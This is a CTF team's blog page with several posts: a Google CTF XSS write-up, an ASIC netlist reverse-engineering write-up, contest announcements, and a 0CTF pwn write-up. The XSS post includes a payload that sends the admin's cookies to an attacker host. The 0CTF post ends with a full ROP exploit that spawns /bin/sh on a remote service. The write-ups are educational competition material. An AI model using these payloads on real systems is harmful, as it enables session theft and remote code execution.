## Sunday, July 1, 2018

### Google CTF 2018 Quals - BBS

Hey, it’s all about JavaScript, right? It shouldn’t be so hard after all... If you had similar feeling starting BBS on this year’s edition of Google CTF you can be positively surprised reading this write-up. This challenge shows in a very good way that JavaScript/XSS can be enjoyable and require quite sophisticated approaches. But let’s start from the beginning...

1. Intro

In the first place, let’s describe the whole application. Regarding website frontend, it is clearly written in Bootstrap – there are many references to submodules like model, dropdown, button etc. in the HTML source. On the other hand, if you take a glance at HTTP headers you can see that PHPSESSID was used for the session cookie – unless someone is trying to fool us, the backend is in PHP. The later fact is not very useful right now but, surprisingly, a lot of information gained in a reconnaissance phase influence the way you solve the challenge. Speaking about functionality, the site allows you to:

• Register a new user
• Login as a registered user
• Compose and send a new post
• Display all posts
• Display a specified post having the post ID
• Report a post to administrator for revision
• Logout

Not much. Good for us because unless there’s some more logic in the code, it means that the scope of attack is quite small. It’s worth to note that the feature of sending reports to administrator is a bit hidden and after submitting the link, we end up with the information that “the post has been reported” and ”the admin will take a look shortly”. The pattern of sending the link to be visited is a bit typical in challenges that require us to steal or use the established session, so we may suspect that’s the goal of this one too.

2. There are bugs!

When you try to play with the application, it doesn’t need a lot of effort to find out that there are two problems with sanitizing the input:

The first one is a possibility to make a script injection on the profile page by abusing the website field. Even though the input is passed through htmlspecialchars filter, the displayed value is not surrounded by quotes or apostrophes. This gives you a pretty straightforward way to perform the XSS using events like onmouseover/onerror:

The bad thing is that you can easily XSS only yourself because the malicious script is displayed only on our user’s profile and if we were logged into a different account we wouldn’t be affected.

Another feature that can be abused is the “p” parameter of /post handler. The intention was clearly to provide an easy way to load arbitrary content:

function load_post() {
var q = qs.parse(location.search, {ignoreQueryPrefix: true});
var url = q.p;

$.ajax(url).then((text) => {$('#post').html(atob(text));
});
}


It’s hard to argue that it doesn’t work – it works even too well because you could in theory specify the remote URL like https://google.com and the script would load the content of remote site proving it sets corresponding CORS headers. I’ve said “in theory” because if you look closer you’ll realize there’s a custom Content Security Policy defined in HTTP headers that limits sources of all objects to self and unsafe-inline:

content-security-policy:
default-src 'self' 'unsafe-inline';
script-src 'self' 'unsafe-inline' 'unsafe-eval';

Basically, the policy says we can use only resources from the same origin, so in fact we can still abuse the “p” parameter but it must point to local resources in order to let the exploit work.

If we want to understand what load_post function does under the hood, we will end up analyzing quite a long implementation of parse method. The core JavaScript library doesn’t provide any API for query string parsing and that’s why the application uses Node.js module called querystring (or maybe its modified version?). Either way, I had very little experience with Node.js and frontend development, so when trying to understand the whole idea behind it I’ve assumed that the parse method behaves similarly to PHP’s parse_str (http://php.net/manual/en/function.parse-str.php). When you take a look at its documentation and the documentation of $_POST variable (http://php.net/manual/en/reserved.variables.post.php), you’ll see that you can not only specify the raw names and their values, but also create more complex objects and arrays by using named indices. The milestone was to realize that$.ajax API provides two different signatures that may be called using the same function name (http://api.jquery.com/jquery.ajax/):

1. First and the most common is jQuery.ajax( url [, settings ] ), that takes URL as a first argument and settings as an optional second one.
2. The latter is jQuery.ajax( [settings ] ) which takes only a single argument.

Now, let’s guess what would happen if instead of providing the url we provide the settings object constructed from query string variables? It will work. :)

We can verify the basic idea by using: /post?p[url]=https://google.com. Again, the resource won’t be loaded because of CORS and CSP but we can clearly see in the debugger that we can control $.ajax settings: 3. Changing administrator’s password Having the possibility to specify all bunch of settings in the AJAX requests gives us quite a lot of opportunities to exploit the application. One of the first thoughts that came to my mind was to change the password of the administrator. It could be done quite easily because the form on /profile didn’t require the current password, there was no Cross Site Request Forgery token and in fact the only thing you had to do was to send the same password in “password” and “password2” fields. Speaking of code, this should pass: $.post('/report', {
+ '?p[method]=POST'
+ '&p[url]=/profile'
+ '&p[data][submit]='
})


Unfortunately we haven’t finished this one so quickly. The new password didn’t work. This could mean some mistake was made on our side or it wasn’t the expected solution and haven’t passed some validator. While in real world scenario it should work, it was rather hard to believe that some real person with real browser was traversing all the links that people were sending when trying to solve this challenge. A common way to imitate the admin visiting the links is to use engines like PhantomJS or scripted headless Chrome. Either way, after a few tries I’ve abandoned this path...

4. Let's combine the two bugs

...because I’ve came up with a better idea. Why not to use the other bug we’ve found earlier? By sending the link we’re able to perform any request on behalf of the administrator, including profile updates. If we set his website to contain some malicious content, we would be able to redirect him to it in the second visit.

Therefore, the general idea was to send the link with a website update:

$.post('/report', { 'post': '/admin/' + '../post' + '?p[method]=POST' + '&p[url]=/profile' + '&p[data][website]= http://google.com%20style=position:absolute;top:0;left:0;width:1920px;height:1080px%20onmouseover=eval(String.fromCharCode(108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,109,121,46,100,111,109,97,105,110,39))' + '&p[data][submit]=' })  And as a next step, redirect the admin to his /profile by sending him: $.post('/report', {
})


The script decoded by Script.fromCharCode was responsible for the redirection to some domain that we can monitor. If we received a request there, it would mean that the script was executed in the context of admin session. But after several tries and a few minutes of waiting we haven’t received any callback so again, we decided it’s not a right approach and we need to look for something else we were missing so far.

5. No memes allowed.

It’s nice to create a hard challenge. Creating one gives the same amount of satisfaction to you as it gives to other people who are solving it. It’s a bit of pity if the competitions ends and nobody was able to solve your task. That’s why authors often leave some kinds of discreet hints either in challenges or their descriptions. I haven’t encountered any hints in the challenge itself so I decided to take a look on the description from the dashboard. There was a single sentence: “No memes allowed”. A light bulb came on over my head and I’ve asked out loud: “Do they really want me to put the XSS in my avatar?”

It was quite a plan. After a small team brainstorm, it appeared that some similar research was already done. I’ve ended up with a few blog posts that described the process of embedding an arbitrary text inside of a PNG file that is capable to outlive image rewriting.

Encoding Web Shells in PNG IDAT chunks:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Revisiting XSS payloads in PNG IDAT chunks:

An XSS on Facebook via PNGs & Wonky Content Types:

In order not to check each image online, I’ve decided to create some standalone verifier that would check if a rewritten image was correct. I knew the script was written in PHP and after a quick lookup on Google & Stack Overflow I ended up with the following resampler:

<?php
$original_filename = "image.png";$thumb_filename = "image_resampled.png";

$original_info = getimagesize($original_filename) or die("getimagesize failed!");
$original_w =$original_info[0];
$original_h =$original_info[1];

$original_img = imagecreatefrompng($original_filename) or die("imagecreatefrompng failed!");
$thumb_w = 64;$thumb_h = 64;

$thumb_img = imagecreatetruecolor($thumb_w, $thumb_h); imagecopyresampled($thumb_img, $original_img, 0, 0, 0, 0,$thumb_w, $thumb_h,$original_w, $original_h); imagepng($thumb_img, $thumb_filename); imagedestroy($thumb_img);
imagedestroy($original_img); ?>  Surprisingly, it worked quite well and I was able to confirm that the image passed through the resampling process in the script is not longer modified when uploading as avatar. This gave me an easy way to check if the image was correct from our point of view. The links we’ve found during the research described the idea of embedding text in deflated streams quite well and after some time of understanding the process and a series of trial and error we were able to create a 40x40 image that contained a payload of our choice when encoded as a PNG image. The problem was that the web application was resizing the provided image to 64x64. We’ve assumed the resize operation was hard to predict, that’s why we wanted to provide the image with the final dimensions. Unfortunately, “something” was messing up when I was trying to perform the same operations on 64x64 image. Because a friend of mine, Redford, had a good understanding of PNG file format and the underlying structures, I’ve decided to ask him for the help. 6. The marriage of PNG and JavaScript Our initial goal was to create a PNG file with a payload that would behave in a similar manner to this: eval(location.search.substr(113)) Having a PNG image like this, we would be able to construct a trampoline that will evaluate the next portion of the code directly from the URL. Because all our previous attempts failed, we decided to start again from scratch and try to analyze this problem on our own. This time we started the analysis directly from 64x64 images and tried to find some properties which could ease our job. The first thing we noticed was that the first row of pixels is emitted literally (i.e. with filter set to None) if the image comprised of random pixels. For some unknown reason, this happened only from time to time, but was fully deterministic - it depended only on image data. In the other case, the filter was set to Sub, which destroyed the data. We could of course add a correction for this filter, but then the filter could change again as its choice depend on pixel values. So, we decided to go with a much easier solution - generate an image in a loop until we get the first line with filter = None. What’s interesting, deflate algorithm didn’t interfere with us at any point - it was emitting all the data literally, probably because of their high entropy. The only thing we needed at this point was to insert the payload somewhere into random pixels, so that the filter-choosing heuristic won’t notice them as a good candidate for compression. To achieve that, we split the payload into small chunks separated with comments and filled the area between them with a bunch of random pixels. This approach turned out to work perfectly! The code for the whole process: from PIL import Image from random import randint def rand_bytes(n): return ''.join(map(chr, [randint(0, 255) for _ in xrange(n)])) chunks = [ 'eval/*', '*/(location/*', '*/.search.substr/*', '*/(113)/*', '*/);', ] while True: # Fill arr with payload chunks separated with random data. arr = '' for i in xrange(len(chunks)): arr += chunks[i] if i != len(chunks)-1: arr += rand_bytes(16) arr = map(ord, arr) while len(arr) % 3 != 0: arr.append(randint(0, 256)) # Create an image filled with random pixels. xsize = 64 ysize = 64 im = Image.new("RGB", (xsize, ysize)) for ix in xrange(xsize): for iy in xrange(ysize): im.putpixel((ix, iy), (randint(0, 256), randint(0, 256), randint(0, 256))) # Replace the first pixels of the image with arr. for i in xrange(0, len(arr), 3): im.putpixel((i/3, 0), tuple(arr[i:i+3])) im.save("xsspayload_good.png") # Stop if the image worked. with open('xsspayload_good.png', 'rb') as f: data = f.read() if all([(chunk in data) for chunk in chunks]): print 'Done!' break  Finally we’ve uploaded the image and then it was clear we had a very nice JavaScript trampoline inside of a valid PNG file, right on the spot: This is how the image looked like. 7. Let’s finish this! Having the image in place, we were ready to steal the flag. Using “Range” HTTP header we could specify a range of bytes from the PNG which corresponded to our script, skipping PNG headers and other irrelevant data. Also, setting the AJAX’s “dataType" to “script” allowed us to bypass the requirement of Base64 content and execute the response directly as a script. The final request to be visited by admin looked like this: $.post('/report', {
+ '?p[url]=/avatar/303fd25f60a7f6e02d9bf961de58b1e5'
+ '&p[dataType]=script'
+ '&code=AAAAAAAAA'
+ 'eval(String.fromCharCode(108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,109,121,46,100,111,109,97,105,110,47,39,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))'
})


The code from the URL in fact redirects the user to a third party domain along with their cookies:

location='http://my.domain/'+btoa(document.cookie)

After a few seconds we’ve finally had the flag recorded on our HTTP server:

vnd@motherland ~/test\$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
35.195.30.181 - - [30/Jun/2018 08:45:35] "GET /ZmxhZz1DVEZ7eU91X0hhVmVfQmVlbl9iJn0= HTTP/1.1" 404 -
CTF{yOu_HaVe_Been_b&}
~ written by vnd & redford

## Monday, October 23, 2017

### Pwn2Win 2017 - Shift Register

Disclaimer: I am not an electronics engineer. I just play one on Twitter.
A lot of the following might be heresy to someone who ever actually dealt with silicon.

This Saturday, I woke up to the following on the Dragon Sector IRC channel:

<@valis> <@thotypous> where is q3k to solve my shift register?

Well okay, if you insist :D.

## Introduction

Let's take a look at the task description:
ButcherCorp has developed an extremely reliable radiation-hardened IC packaging process. Its only drawback is requiring the ASIC to be fabricated using a specific 0.35μm technology, considered outdated by today's standards. The intel we gathered suggests that their standard cell library is based on osu035.One of our operatives managed to exfiltrate a GDSII file ButcherCorp has sent to a silicon fab. Apparently, it is the IC responsible for validating the launching code in their latest rocket engine.The IC samples the in pin at the clock's positive edge. If the correct sequence of bits is presented to the IC, it drives the unlocked pin to a high logical level. Find this sequence. It forms an ASCII string which you should submit as a flag.

So, we are given artwork of lithography masks for a VLSI ASIC (a.k.a. integrated circuit) fabricated in AMI 0.35µm technology using the Oklahoma State University OSU035 open source flow. The chip is a simple three-terminal device: a clock and in pin to receive a bitstream of a flag, and an unlocked pin that goes high if the bitstream is correct. We have to reverse engineer it to find the key.

The file is in GDSII/GDS2 format - an industry standard file format for exchange of lithography masks of integrated circuits, mostly used as en exchange format between EDA suites and as an output format given to silicon fabs by hardware designers.

The challenge ASIC is fabricated in Standard Cell technology - this means, in very simplified terms, that the software that converts a digital logic definition file (in RTL form) has a bunch of different 'cells' to choose from (ie. AND, NOT, D-Flip-flop, etc...), which it places in a grid and then connects with metal layers to form the final integrated circuit. The library of standard cells used in this task is OSU035.

A quick refresher on the physical topology of a VLSI circuit:
 By Cepheiden, CC BY 2.5, via Wikimedia Commons
What we'll bee mostly looking at today is the 'BEOL' (back-end of line) section of the chip - the metal interconnect section that wires together the silicon (in the FEOL) of the standard cells together. These metal interconnects consist of a number of planes/layers with vias that connect them together and tungsten pins that connect them to the silicon of the lower layers.

Or, from a different perspective:
 By David Caron, CC BY 3.0, via Wikipedia
The yellow part are the metal interconnects.

Well, that's a bit of a soup. Let's copy over layer name/number mappings from osu_stdcells/lib/ami035/abstract/ami035_layers.map and reorganize them a bit. And zoom in a bit.

We can see the instantiated cells (for example, three 'LDCZ' cells on the top left) represented as boxes with their contents hidden (they are metal 1, pins and silicon layers), and global metal 1-4 layers and vias that join those layers together (visible). If we change display settings, we can peek into some of those standard cells and see how they're implemented.

Here we can see instances of the 'CNLZ' standard cell metal 1 layer (in red), instantiated multiple times into the design. Some of the instances which are flipped vertically (to fit them across power rails in the design) or horizontally (to better route metal signals).

But what is the logical function of this CNLZ cell? We could go about reverse engineering it at gate-level (by inspecting its' silicon layers). However, if we open osu035_stdcells.gds2 from the OSU035 files, we can see that it's in reality AND2X2 (a 2-to-1 AND gate), just renamed and oriented differently during instantiation.

We can now spend around half an hour and map the obfuscated cell names from the challenge GDSII into OSU035 cell names and their logical functions from the cell definition file. I also took the time to note down coordinate of the pins (i.e. A, B, Y, D, Q, CLK ...) and their names, so that we can map the I/O of the cells later on.

Now, here comes the hard part. We know what cells are used, and where. But we also want to know how they're connected, so we can reverse engineer the logic of the chip.

What we need is a netlist - a description of all the electrical nets in the design and how they connect all the logic cells together. There's a few ways to go about this:
Since I had no experience with any IC design EDA tools, I decided for the last option and wrote my own netlist extraction tool from scratch. I ended up with some pretty craptacular code, but it did the trick. So, without further ado, here's

## How To Perform Netlist Extraction In Three Easy Steps

### Step 1 - combine GDSII rectangles (boundaries) in all metal layers into 'segments'

In GDSII, every layer is just represented by a collection of rectangles (also called boundaries). There's no information on electrical connectivity, just a graphical representation in the form of boxes/boundaries of silicon layers, metal layers and via layers.

Our first job is to turn these into collections of rectangles on metal layers into objects that represent an electrically connected trace, which I called 'segment'.

Here's how I did it:
• I loaded the GDSII file, transformed every metal rectangle into a slightly larger bounding box (because I wanted to use bounding box collision detection to connect metal boundaries that might be just slightly touching).
• For every cell/structure of the design, I instantiated the structure's metal rectangles as well, after transforming them accordingly to flips/rotations.
• For every metal layer of the design:
• For every metal bounding box created above, I created a new Segment that's made up just of this metal bounding box.
• For every segment, I try to find all other segments that touch it, and if so, merge the segments together. I repeated this until no more segments got combined.
• This is the slowest part of the entire process. I tried to use a quadtree, but failed miserably.
This makes us end up with a set of segments per layer, where each segment is an electrically connected set of metal traces. We can then visualize all of the 4 metal layers separately, displaying each one of them in a different colour to check that they got merged correctly:

 layer 49 - metal 1

 layer 31 - metal 4
Looks promising.

### Step 2 - combine segments together into nets that can span multiple layers

Now we want to start combining those segments across layers, if they connect via vias.

This is actually pretty easy. Here's my approach:
• For every segment of every layer I wrapped it into a new Net. These nets, apart from containing rectangles, also have:
• a name (autogenerated or using a predefined name if it starts at a know point, eg. one of the I/O pins)
• a set of vias they go through (initially empty)
• For every via in the design:
• I found all rectangles that connect to it (on the neighbouring metal layers) and the nets in which they're contained. I then appended that via to the nets' via set.
• I then join all nets by their common vias:
• For every net in the design:
• For every via in this net:
• I merge the net with all other nets that contain this via.
By the end of this, we have a set of Nets that are mad up of electrically connected rectangles and vias, that span multiple metal layers. We can now render all of the nets to have an overview of all the metal layers in the chip:

We can finally start making some sense of the chip. For instance, the repeating horizontal and thick vertical traces are power rails. However, we're still just dealing with passive electrical connections, and no logic. Let's work on this next.

### Step 3 - map nets to cells

We now want to create a representation of all the logic cells in this design, with their I/O pins mapped to nets. Here's how I went about this:
• For every cell of the design, I calculated the absolute coordinates of the I/O pins that I mapped out earlier.
• For every I/O pin, I find a net that contains it on a rectangle in metal layer 1. I map this net as that pin for this cell. I also back-map this the other way around - what pins on what cells is a given net connected to.
This leaves us with nice (albeit not super easy to traverse from a programming point of view) graph of nets and cells, connected together by the cells' I/O pins. We can generate our first netlist from this:

Hooray! We could go to town on this and feed it into a Verilog simulator and try to blackbox this netlist as is. But I used some extra automation to make my life easier.

## Netlist Analysis

The first thing I did was prune all of the buffer cells from the netlist. The code is quite simple, I just find all buffers in the design and merge nets on the input and output:

This makes our netlist much nicer. Nice enough, in fact, to notice a few key facts:
• All the D-flip-flops are clocked from the outside clock line synchronously
• All the D-flip-flops are daisy-chained together via AND gates.
• All the only other use of the D-flip-flops data outputs, apart from daisychaining, is to drive a large combinatorial network of logic gates that outputs the 'unlocked' signal.

This means that we're basically just dealing with a single large shift register fed from the 'in' and 'clock' lines and a bunch of combinatorial logic that checks its' state.

I then performed some extra analysis of the cells to find the actual stages of the shift register. I started from the 'in' signal, and looked for the next AND gate (sometimes implemented via INV/NOR gates) that would then feed the next flip-flop, which would then feed the next AND gate, etc:

This found 320 stages (all the D-flops in the design), which hints at a 40-byte ASCII encoded flag as the key.

The last and final step was to reverse engineer the combinatorial logic that checks the shift register outputs. Of course, I also automated that part. I traversed from the 'unlocked' net down recursively until I found either more gates, or one of the shift register stages (which I now knew to which bit of the key they corresponded). This let me build an AST of the expression that calculates the 'unlocked' value as a function of the shift register data.

Finally, I fed this AST (first converted back into assignment expressions) to the Z3 SMT solver to get the flag.

## Summary

Extremely fun task, and mad props to its' author. I had a lot of tun writing the tooling from scratch over the weekend and highly recommend it as a practical exercise in algo coding. I will definitely take a closer look at EDA tools for VLSI, though :).

I definitely hope to see more challenges like these at other CTFs.

## Saturday, May 20, 2017

### CONFidence CTF 2017 - results and solutions

 CONFidence CTF 2017 winners (source)
The competition during this year's CONFidence CTF 2017 was fierce, with a reshuffle in the top places happening quite often during the final hours. But there can be only one winner and in the end team baloom emerged victorious!

 Full scoreboard - Click to zoom in
Final TOP 1-3:
1. baloom (3220 pts) - 10000 PLN
2. p4 (3170 pts) - 5000 PLN
3. Teamless (3020 pts) - 2000 PLN
Congratulations to the winners and the runner-ups!

In total, there were 22 teams which solved at least one of the 20 tasks, and the competition lasted from 10am on the first day, to 3pm on the second, with an infrastructure break at night.

There were some fun tasks this year, including a NES RE challenge running on the actual hardware, hacking a drone and - even though it sounds trivial - printing a file on the CROOK OS running on the Polish Mera 400 '70 computer. If you're curious about the specifics of the challenges or the way to solve a specific task, we're publishing short descriptions of all the problems in form of a slide deck:

Finally, we would like to thank the CONFidence organizers for hosting the CTF for the forth year in a row! And I (gynvael) personally would like to thank my team for spending countless hours with little sleep to prepare the tournament, and doubly so the main CTF organizer - our acting captain - valis.

See you next year!

## Monday, March 27, 2017

### The CONFidence Teaser CTF takes place this weekend again!

This is just a short reminder that the CONFidence Teaser CTF organized by Dragon Sector will take place this weekend, and more specifically starting on the 2nd of April 2017, 00:30 CEST until 3rd of April 2017, 00:30 CEST.

The registration has just started at the event's website, https://ctf.dragonsector.pl/, and will stay open all throughout the game.

A quick rundown on the basic information is as follows:

• Start: 02 April 2017, 00:30 CEST
• End: 03 April 2017, 00:30 CEST
• Duration: 24h
• Format: online, jeopardy, team-based, no team size limit, teaser
• Categories: web, re, pwn, crypto, forensics
• Contact (IRC): #dragonsector @ irc.freenode.org
• Contact (e-mail): ctf@dragonsector.pl

### Prizes:

Top1 - Top3:
• Travel allowance if coming to the offline event (up to 4*500 USD for European teams or 4*1500 USD for non-European teams)
• 4 conference passes for CONFidence
• Hotel for 4 people during CONFidence
Top4 - Top6:
• 4 conference passes for CONFidence
• Hotel for 4 people during CONFidence
Top7 - Top10:
• 4 conference passes for CONFidence

See you on the battlefield!

## Monday, March 20, 2017

### 0CTF 2017 - UploadCenter (PWN 523)

Welcome to another Menu Chall right~
Here you can use any function as you wish
No more words , Let't begin
2 :) Upload and parse File
3 :) Show File info
4 :) Delete File
6 :) Monitor File

UploadCenter was a small service (x86-64, Linux) that allowed you to upload PNG files and do nothing with them. Well, that's not entirely true - you could list them (it would show you their width/height and depth), remove them and spawn two kinds of threads (one would inform you about any new uploads - i.e. when you would upload a file it would tell you that you've uploaded a file; and the second one would just list all the files in a different thread).

The PNGs themselves were kept on a linked list, where each node would contain (in short) some basic information about the PNG, a pointer to mmap'ed memory where the PNG was placed, and the size of said mmap'ed memory area.

The critical parts of the task were related to three menu options: 2 (upload), 4 (delete) and 6 (monitor), so I'll focus on them.

Starting with the most boring one, 4 :) Delete File function removed the specified PNG from the linked list, unmapped the memory chunk and freed all the structures (PNG descriptor, list node). As far as I'm concerned it was correctly implemented and for the sake of this write up the most interesting part was the munmap call:

Going to the next function, 6 :) Monitor File spawned a new thread, which (in an infinite loop) waited for a condition to be met (new file uploaded) and displayed a message. It basically boiled down to the following code:

{
...
...
}

And the last, and most important part, was the 2 :) Upload and parse File function, which worked in the following way:

1. It asked the user for a 32-bit word containing data size (limited at 1 MB).
2. And then received that many bytes from the user.
3. Then inflated (i.e. zlib decompressed) the data (limited at 32 MB).
4. And did some simplistic PNG format parsing (which, apart from the width and height, could basically be ignored).
5. After that it mmap'ed an area of size width * height (important!) and copied that amount of decompressed data there.
6. And then it set entry->mmap_size to the size of decompressed data (so there was a mismatch between what was mapped,and what would be unmapped when deleting).

So actually what you could do (using functions 2 and 4) is unmap an adjacent area of memory to one of the PNG areas. But how to get code execution from that?

At this moment I would like to recommend this awesome blogpost (kudos to mak for handing me a link during the CTF): http://tukan.farm/2016/07/27/munmap-madness/

The method I used is exactly what is described there, i.e.:

1. I've allocated two 8 MB areas (i.e. uploaded two PNGs), where one area was described correctly as 8 MB and the other incorrectly as 16 MB block,
2. I've freed the correctly allocated one (i.e. deleted it from the list).
3. And then I used option 6 to launch a new thread. The stack of the new thread was placed exactly in the place of the PNG I just unmapped.
4. And then I've unmapped the second PNG, which actually unmapped the stack of the new thread as well (these areas were next to each over). Since the thread was waiting for a mutex it didn't crash.
5. At that moment it was enough to upload a new 8 MB PNG that contained the "new stack" (with ROP chain + some minor additions) for the new thread (upload itself would wake the thread) and the woken thread would eventually grab a return address from the now-controlled-by-us stack leading to code execution.
At that point my stage 1 ROP leaked libc address (using puts to leak its address from .got table) and fetched stage 2 of ROP, which run execve with /bin/sh. This was actually a little more tricky since the new thread and the main thread were racing to read data from stdin, which made part of my exploit always end up in the wrong place (and this misaligned the stack_) - but its nothing that cannot be fixed with running the exploit a couple of times.

And that's it. Full exploit code is available at the end of the post (I kept the nasty bits - i.e. debugging code, etc - in there for educational reasons... I guess).

+--^----------,--------,-----,--------^-,
| |||||||||   --------'     |          O
+---------------------------^----------|
_,---------,---------,--------------'
/ XXXXXX /'|       /'
/ XXXXXX /      /'
/ XXXXXX /-------'
/ XXXXXX /
/ XXXXXX /
(________(        007 James Bond
------'
2 :) Upload and parse File
3 :) Show File info
4 :) Delete File
6 :) Monitor File
2 :) Upload and parse File
3 :) Show File info
4 :) Delete File
6 :) Monitor File
2 :) Upload and parse File
3 :) Show File info
4 :) Delete File
6 :) Monitor File
ls -la
total 84
drwxr-xr-x  22 root root  4096 Mar  9 11:42 .
drwxr-xr-x  22 root root  4096 Mar  9 11:42 ..
drwxr-xr-x   2 root root  4096 Mar  9 11:45 bin
drwxr-xr-x   3 root root  4096 Mar  9 11:48 boot
drwxr-xr-x  17 root root  2980 Mar  9 13:10 dev
drwxr-xr-x  85 root root  4096 Mar 19 14:12 etc
drwxr-xr-x   3 root root  4096 Mar 18 17:49 home
lrwxrwxrwx   1 root root    31 Mar  9 11:42 initrd.img -> /boot/initrd.img-3.16.0-4-amd64
drwxr-xr-x  14 root root  4096 Mar  9 11:43 lib
drwxr-xr-x   2 root root  4096 Mar  9 11:41 lib64
drwx------   2 root root 16384 Mar  9 11:40 lost+found
drwxr-xr-x   3 root root  4096 Mar  9 11:40 media
drwxr-xr-x   2 root root  4096 Mar  9 11:41 mnt
drwxr-xr-x   2 root root  4096 Mar  9 11:41 opt
dr-xr-xr-x 112 root root     0 Mar  9 13:10 proc
drwx------   4 root root  4096 Mar 19 14:12 root
drwxr-xr-x  17 root root   680 Mar 19 14:07 run
drwxr-xr-x   2 root root  4096 Mar  9 11:49 sbin
drwxr-xr-x   2 root root  4096 Mar  9 11:41 srv
dr-xr-xr-x  13 root root     0 Mar 17 21:12 sys
drwx-wx-wt   7 root root  4096 Mar 20 05:17 tmp
drwxr-xr-x  10 root root  4096 Mar  9 11:41 usr
drwxr-xr-x  11 root root  4096 Mar  9 11:41 var
lrwxrwxrwx   1 root root    27 Mar  9 11:42 vmlinuz -> boot/vmlinuz-3.16.0-4-amd64
cat /home/*/flag
flag{M3ybe_Th1s_1s_d1ffer3nt_UAF_Y0U_F1rst_S33n}

The exploit (you'll probably have to run it a couple of times):

#!/usr/bin/python
import sys
import socket
import telnetlib
import os
import time
from struct import pack, unpack

def recvuntil(sock, txt):
d = ""
while d.find(txt) == -1:
try:
dnow = sock.recv(1)
if len(dnow) == 0:
print "-=(warning)=- recvuntil() failed at recv"
print d
return False
except socket.error as msg:
print "-=(warning)=- recvuntil() failed:", msg
print d
return False
d += dnow
return d

def recvall(sock, n):
d = ""
while len(d) != n:
try:
dnow = sock.recv(n - len(d))
if len(dnow) == 0:
print "-=(warning)=- recvuntil() failed at recv"
print d
return False
except socket.error as msg:
print "-=(warning)=- recvuntil() failed:", msg
print d
return False
d += dnow
return d

# Proxy object for sockets.
class gsocket(object):
def __init__(self, *p):
self._sock = socket.socket(*p)

def __getattr__(self, name):
return getattr(self._sock, name)

def recvall(self, n):
return recvall(self._sock, n)

def recvuntil(self, txt):
return recvuntil(self._sock, txt)

# Base for any of my ROPs.
def db(v):
return pack("<B", v)

def dw(v):
return pack("<H", v)

def dd(v):
return pack("<I", v)

def dq(v):
return pack("<Q", v)

def rb(v):
return unpack("<B", v[0])[0]

def rw(v):
return unpack("<H", v[:2])[0]

def rd(v):
return unpack("<I", v[:4])[0]

def rq(v):
return unpack("<Q", v[:8])[0]

with open(fname, "rb") as f:

return ''.join([
pack(">I", len(data)),
magic,
data,
pack(">I", 0x41414141),  # CRC
])

def make_png(w, h):
return ''.join([
"89504E470D0A1A0A".decode("hex"),  # Magic
pack(">IIBBBBB",
w, h, 8, 2, 0, 0, 0  # 24-bit RGB
)),
])

png = make_png(w, h)
while len(png) % 8 != 0:
png += "\0"
print len(png), final_sz
png = png.ljust(final_sz, pbyte)
png = png.encode("zlib")

if len(png) > 1048576:
print "!!!!!!! ZLIB: %i vs %i" % (len(png), 1048576)

s.sendall("2\n")
s.sendall(dd(len(png)))
s.sendall(png)

z = d.encode("zlib")
s.sendall(dd(len(z)))
s.sendall(z)

with open(fname, "rb") as f:

MENU_LAST_LINE = "6 :) Monitor File\n"

def del_entry(s, n):
s.sendall("4\n")
s.sendall(str(n) + "\n")

def spawn_monitor(s):
s.sendall("6\n")

def set_rdi(v):
# 0x4038b1    pop rdi
# 0x4038b2    ret
return ''.join([
dq(0x4038b1),
dq(v)
])

def set_rsi_r15(rsi=0, r15=0):
# 0x4038af    pop rsi
# 0x4038b0    pop r15
# 0x4038b2    ret
return ''.join([
dq(0x4038af),
dq(rsi),
dq(r15),
])

# 0400AF0
return ''.join([
dq(0x0400AF0),
])

# 400F14
return ''.join([
set_rsi_r15(rsi=sz),
dq(0x400F14),
])

# 0x402ede    pop rsp
# 0x402edf    pop r13
# 0x402ee1    ret
return ''.join([
dq(0x402ede),
])

def call_sleep(tm):
return ''.join([
set_rdi(tm),
dq(0x400C30),
])

def go():
global HOST
global PORT
s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

#s.sendall("1\n")
#s.sendall("A" * 20)
#s.sendall("1\n")

#s.sendall("0000000000000001A")
#s.sendall("B" * 1)  # 2, 8
#time.sleep(0.5)
#s.sendall("1\n")
#print d
#sth = d.split(" , enjoy your tour")[0].split("Welcome Team ")[1]
#print sth.encode("hex")

upload_png(s, 1, 8392704, 8392704) # 1
upload_png(s, 1, 8392704, 8392704 + 8392704)
del_entry(s, 1)

spawn_monitor(s)

del_entry(s, 1)

# Now we hope that not all threads run.

for i in range((8392704 - 128) / 8):  # ~1mln
if i < 900000:
else:

VER = 0x4098DC
VER_STR = "1.2.8\n"

CMD = "/bin/sh\0"
#CMD = CMD.ljust(64, "\0")

rop = ''.join([
call_sleep(1),
call_puts(VER),
call_puts(0x060E028),
call_puts(0x060E029),
call_puts(0x060E02A),
call_puts(0x060E02B),
call_puts(0x060E02C),
call_puts(0x060E02D),
call_puts(0x060E02E),
call_puts(0x060E02F),
call_puts(VER),
stack_pivot(0x0060E410)
])

#print "press enter to trigger"
#raw_input()
print "\x1b[1;33mTriggering!\x1b[m"

s.recvuntil(VER_STR)
puts_libc = ''
for x in s.recvuntil(VER_STR).splitlines():
if len(x) == 0:
puts_libc += "\0"
else:
puts_libc += x[0]
if len(puts_libc) == 8:
break

puts_libc = rq(puts_libc)
LIBC = puts_libc - 0x06B990
print "LIBC: %x" % LIBC

rop2 = ''.join([
#dq(0x402ee1) * 16,  # nopsled
dq(0x401363) * 16,
set_rsi_r15(0x0060EF00, 0),
set_rdi(0x0060E400 + 512),
dq(LIBC+0xBA310), # execve
])

rop2 = rop2.ljust(512, "\0")
rop2 += CMD * 16

s.sendall("PPPPPPPP" + rop2 + (" " * 16))

# Interactive sockets.
t = telnetlib.Telnet()
t.sock = s
t.interact()

# Python console.
# Note: you might need to modify ReceiverClass if you want
#       to parse incoming packets.
#dct = locals()
#for k in globals().keys():
#  if k not in dct:
#    dct[k] = globals()[k]
#code.InteractiveConsole(dct).interact()

s.close()

HOST = '202.120.7.216'
PORT = 12345
#HOST = '127.0.0.1'
#HOST = '192.168.2.218'
#PORT = 1234
go()